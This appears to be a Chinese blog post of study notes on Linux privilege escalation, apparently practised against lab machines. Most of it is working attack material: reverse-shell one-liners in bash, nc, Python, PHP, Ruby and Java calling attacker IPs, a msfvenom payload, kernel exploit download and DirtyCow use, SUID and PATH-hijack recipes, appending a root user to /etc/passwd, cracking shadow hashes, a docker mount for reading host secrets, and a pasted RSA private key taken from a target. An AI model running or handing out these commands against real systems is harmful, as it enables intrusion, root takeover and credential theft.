linux提权

基础知识

常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
uname -a #查看内核/操作系统/cpu信息
head -n 1 /etc/issue #查看操作系统版本
cat /proc/version #查看系统信息
hostname #查看计算机名
env #查看环境变量
ifconfig #查看网卡
netstat -lntp # 查看所有监听端口
netstat -antp # 查看所有已经建立的连接
netstat -s # 查看网络统计信息
iptables -L #查看防火墙设置
route -n # 查看路由表
ps -ef # 查看所有进程
top # 实时显示进程状态
w # 查看活动用户
id # 查看指定用户信息
last # 查看用户登录日志
cut -d: -f1 /etc/passwd # 查看系统所有用户
cut -d: -f1 /etc/group # 查看系统所有组
crontab -l # 查看当前用户的计划任务
chkconfig –list # 列出所有系统服务
chkconfig –list | grep on # 列出所有启动的系统服务
echo $PATH #查看系统路径

反弹shell

使用nc对本地端口监听

1
nc -lvnp 8888

bash反弹

1
2
bash -i >& /dev/tcp/ip_address/port 0>&1
bash -c "bash -i >& /dev/tcp/192.168.205.78/6666 0>&1"

nc反弹

1
2
3
nc -e /bin/sh 192.168.2.130 4444
但某些版本的nc没有-e参数(非传统版),则可使用以下方式解决
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

python

1
2
3
4
5
6
7
8
import socket,subprocess,os
s =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(( "192.168.1.12" , 4444 ))
os.dup2(s.fileno(), 0 )
os.dup2(s.fileno(), 1 )
os.dup2(s.fileno(), 2 )
p = subprocess.call([ "/bin/bash" , "-i" ])

php

1
php -r '$sock=fsockopen("192.168.2.130",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby

1
2
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i
<&%d >&%d 2>&%d",f,f,f)'

Java

1
2
3
4
5
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read
line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

xterm

1
xterm -display 10.0.0.1:1

python调用本地shell实现交互式命令行

1
2
python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'

Linux反弹shell解决乱码

切换bash

1
bash

ctrl+z 放置后台任务 设置原始格式

1
stty -echo raw

fg再调用后台任务

LINUX 内核漏洞提权

内核溢出提权

利用堆栈溢出漏洞,根据当前系统 寻找对应的漏洞的exp 使用exp对其进行提权。

1
2
3
4
5
uname -a
cat /proc/version
cat /etc/issue
cat /etc/redhat-release
lsb_release -a

根据linux的内核版本去找对应的exp

1
2
3
searchsploit -t Ubuntu 14.04
searchsploit -s Ubuntu 14.04
searchsploit -s Linux Kernel 3.13.0
  1. 拿shell
1
bash -c "bash -i >& /dev/tcp/192.168.1.10/7777 0>&1"
  1. 查看信息
1
2
3
uname -a
cat /proc/version
cat /etc/issue
  1. 搜索漏洞
1
2
searchsploit -s 3.19
searchsploit -x linux/local/37292.c
  1. 将exp放在服务器路径

  2. shell进行wget下载

1
wget http://192.168.1.10/37292.c /tmp/37292.c
  1. gcc编译,也可本地编译传至服务器
1
gcc 37292.c -o exp
  1. 添加执行权限
1
chmod +x exp
  1. 执行
1
./exp
  1. 成功提取

脏牛提权 CVE-2016-5195

该漏洞是 Linux 内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞, 导致可以 破坏私有只读内存映射。黑客可以在获取低权限的的本地用户后,利用此漏洞获取 其他只读内存映射的 写权限,进一步获取 root 权限。

1
2
测试环境 ubuntu 14.04
exp下载 https://github.com/Brucetg/DirtyCow-EXP

在靶场上新建普通用户 xiaowu 密码 123456

获取普通shell后wget下载exp

添加权限

执行

1
./dirtycow /etc/group "$(sed '/\(sudo*\)/ s/$/,xioawu/' /etc/group)"

提权成功

1
2
3
4
5
验证:grep '^sudo' /etc/group
sudo -i

sudo su -
切换root

metasploit linux 提权

反弹shell

生成攻击载荷

1
2
3
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.10 LPORT=12345 -f raw >
/var/www/html/shell.php

本地监听

1
2
3
4
5
use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set lhost 192.168.1.10
set lport 12345
exploit

命令执行下载payload

1
file_put_contents('msf.php',file_get_contents('http://192.168.1.10/shell.php'));
1
2
file_get_contents('msf.php',file_get_contents('http://192.168.1.10/shell.php'));
echo file_get_contents('http://192.168.1.10/shell.php')

提权

使用模块查询漏洞

1
run post/multi/recon/local_exploit_suggester

shell 使用终端

1
2
3
4
5
python3 -c 'import pty;pty.spawn("/bin/bash")'
wget http://192.168.1.10/37292.c /tmp
gcc 37292.c -o exp
chmod +x exp
./exp

提权成功

suid提权

SUID是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行 时,使调用者暂时获得该文件拥有者的权限。也就是如果ROOT用户给某个可执行文件加了S权限,那么 该执行程序运行的时候将拥有ROOT权限。

常见suid提权文件

1
nmapvimfind、more、less、bash、cp、Nano、mv、awk、man、weget

以下命令可以发现系统上运行的所有SUID可执行文件

1
2
3
4
5
6
7
8
9
10
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;

/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)

image-20250930165515767

根据结果搜索

1
https://gtfobins.github.io/

执行

1
find . -exec /bin/sh -p \; -quit

提权成功

环境劫持提权

环境劫持需要的两个条件 存在带有suid的文件 suid文件存在系统命令

寻找suid文件

1
find / -perm -u=s -type f 2>/dev/null

image-20250930170858186

shell脚本里有ps命令,且加了suid

如果能劫持环境变量执行自定义的ps,那么运行后就会获得suid权限也就是相当于root执行

当tmp的路径添加到当前环境路径,再访问 /script目录 执行shell文件,允许的时候首先会采用/tmp目 录的ps文件作为命令

1
2
3
4
5
6
7
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /script
./shell

image-20250930171421556

1
2
3
4
5
6
7
8
9
10
11
定时任务:root 执行 /script/shell

shell 调用 ps 命令

系统在 PATH 中查找 ps

/tmp 在 PATH 最前面 → 找到 /tmp/ps

/tmp/ps 实际是 /bin/bash → 启动 shell

因为是 root 执行的 → 你得到 root shell

ssh密钥提权

1
cat /etc/passwd | grep bash

查看隐藏文件

1
ls -al

image-20250930172556662

进入.ssh,复制私钥

image-20250930172624986

保存到本地,加600权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
echo "-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEArHykNzQGeTc0bGqBUyu8sSlsAYrXrTyrLauxOiEvw6c6WRgy
y7GYZ3SioiirisP9tSBHV/CyXsz4IrG6fHqtK5ik5m4rGjrX2/0uyque9ZuHV5bo
V9Cx4T7n1ZCVye0XIxv+bp89p9A6u8pOrpYWD1x9N0DE3xYbDggIiTmBPf1mcUsk
sGN5MiwVV+q8MjzvUJHoRJo7Tjfj6PbEwyiFzxjRe9KQBtsnNABuSo8Ij1kP8q/2
Ou8gpFGRUtu0hnc6zJz74ck4beTZR4Ekx8IHWJhMcuxlI+/6ohOU2NdDcMgFiPil
Ezz28NUBHwNX/3aY2mFQayuhAkNkwSAvwpDBCQIDAQABAoIBAHJ9hU7zJHzfLNft
1gvL00LRGNTpQQHHbGQzO782+gpnfO5Yhpb4Og4puC3kywCf2U6Zr2Fq7irI6Me2
qu8nSrzOZF5jsA6IEnH+W0nBoxCp/KsiCvUHHJtDcwUqJJLU4e+3DCqHXph+Og4e
Wh2+l8P4g1DimArwFGM659eWKPhonL/pLmdchbB4/8h3Ms4AggrXjbrFcCKX2Te6
ONr9h8H51MBsx0OOXW/1UlwsoXN26+/1ww2HJzoPauz+DmJEEWiUqdYZSlYep/WO
KzHTysM/7dqWwgyfGOW39wJ9YSv4Pl/6Kl+49XR1fWa46BLsxoROfel3VZL2N813
y6R0HpECgYEA19JPgF8yJGMFh42SX68vC6+P6Djj2hRqN7rRP/T8Xkbp0x+kqfDo
TgRXfugbrgX1Rlk9B0lTn+YJyg080PmdE3jPB5XL9iWg2BC51rLC7fOSTzk0zISp
FvC2heccXSu4QqOUPOGdKuNEpENzCjC46rplQ4QTJzdY4PvgtqVeGWUCgYEAzJkT
LgDktBMHdNjtmHRemcJjtEUDTtvYR0Ad1GLLPjWgXMIz/FEnM2Bn+DWDbXZHfYyc
HbEgCGU21HUovzD2WyhupUCATULZ/8nglo4LJGSvEvqdjTiJfe6Mw14Os+kSaFHm
r3L67hC8eJYPmhVCxuBeVs5KCdAGgTrlUkKlINUCgYBNbY5IJ979Xukk8I2K9naS
YrHmRkK4gop44/UeVO4VhKtuqvOQZHVzR+t8BBmqHUkZq/pRGuV9gDIS4xzmfCb2
TWk492ztKiLCYX3KoOd+Jtxev89JcG6ZZFKXR4rNglngzn7oOKkCMfb2V5x2E3TE
AYtC5adZcmnYjYTZAgr4YQKBgB1Yd1/J0QPjFtazpqCPUGJNd2+L1oWhEsxlbeHg
qbYqiu3DDSHLogvEcCUxx8ATjv17BYlctnN90Pd4Nnf11eANVJFvRvfN9uaxVf1C
Mmbt6g6W07JFwbLGXHpJK2Kys2kzFhtkKomq7N1+6I35LrLHy8A3pnbx130BrZK2
7GhhAoGANk1w6F0c70ng9OwVaI0e4958JsoaDyu3x2ZU4+4ZIlwTyzc/haiXys3X
CdQaUIj+RM/8eReSAG4f/RPvQLiLN56itr3NXp/07gqA5iUc8XDDZeu2bWLDtwHK
dWqZi6Z4ZwpHaDCnnLSHK47dbzCya0bjwq44x0/7x5NVEKgihos=
-----END RSA PRIVATE KEY-----" > id_rsa
chmod 600 id_rsa

ssh登录

1
ssh -i id_rsa web1@192.168.1.14

image-20250930172818875

passwd提权

通过OpenSSL passwd生成一个新的用户hacker,密码为hack123

1
2
openssl passwd -1 -salt hacker 123456
$1$hacker$6luIRwdGpBvXdP.GMwcZp/

保存靶机的passwd文件,将其追加到/etc/passwd文件中

1
hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0:/root:/bin/bash

kali开启http服务,靶机下载并覆盖原本的passwd文件

1
wget http://192.168.1.12/passwd -O /etc/passwd

然后登录即可

john破解shadow root密文

shadow文件可读,使用john爆破密文

1
john --wordlist="/usr/share/wordlists/rockyou.txt" userpassw

计划任务反弹shell提权

当获取一个linux普通用户的时,查看计划任务

1
cat /etc/crontab

查看当前用户任务

1
crontab -l

/var/spool/cron/crontabs/root这个目录是root任务文件 默认仅root可读

查看日志文件

1
tail -f /var/log/syslog

发现/script/cleanup.py每分钟执行一次,且为root执行

image-20251001222606552

备份cleanup.py,并写入反弹shell命令

python 反弹shell

1
2
3
4
5
6
7
import socket,subprocess,os
s =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(( "192.168.1.12" , 4444 ))
os.dup2(s.fileno(), 0 )
os.dup2(s.fileno(), 1 )
os.dup2(s.fileno(), 2 )
p = subprocess.call([ "/bin/bash" , "-i" ])

image-20251001223054437

信息收集工具

LinEnum

https://github.com/rebootuser/LinEnum

1
wget -O - http://192.168.1.12/LinEnum.sh | bash

linuxprivchecker

python3版本

https://github.com/swarley7/linuxprivchecker

1
python3 linuxprivchecker.py

linux-exploit-suggester2

https://github.com/jondonas/linux-exploit-suggester-2

1
perl linux-exploit-suggester-2.pl

docker提权

docker是一个容器 可以在同一台机子虚拟多台服务。

1
2
3
4
5
6
7
8
9
10
11
镜像 = 应用安装包(apk / exe)

拉取镜像 = 从应用商场下载应用

容器 = 安装并运行的应用

容器实例 = 应用的多个分身/运行实例

保存镜像到本地 = 把 apk 安装包保存在手机里

访问容器 = 打开应用界面或提供服务

通过命令idgroup 查询当前用户是否处于docker组

image-20251002210054272

输入命令下载使用容器把容器的目录挂载到宿主的根目录

1
docker run -v /:/mnt -it alpine

访问宿主的/etc/shadow

cat /mnt/etc/shadow

sudo提权

1
2
sudo -l 查看当前用户权限
sudo -i 切换root shell

image-20251002211335028

切换用户

1
2
3
4
5
6
7
8
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc,char *argv[])
{
setreuid(1001,1001);
execve("/bin/bash",NULL,NULL);
}

编译,运行

参考链接

suid提权

https://www.cnblogs.com/hgschool/p/17030085.html

劫持环境变量

https://blog.csdn.net/ON_Zero/article/details/130544124


linux提权
http://xiaowu5.cn/2025/12/18/linux提权/
作者
5
发布于
2025年12月18日
许可协议
BY XIAOWU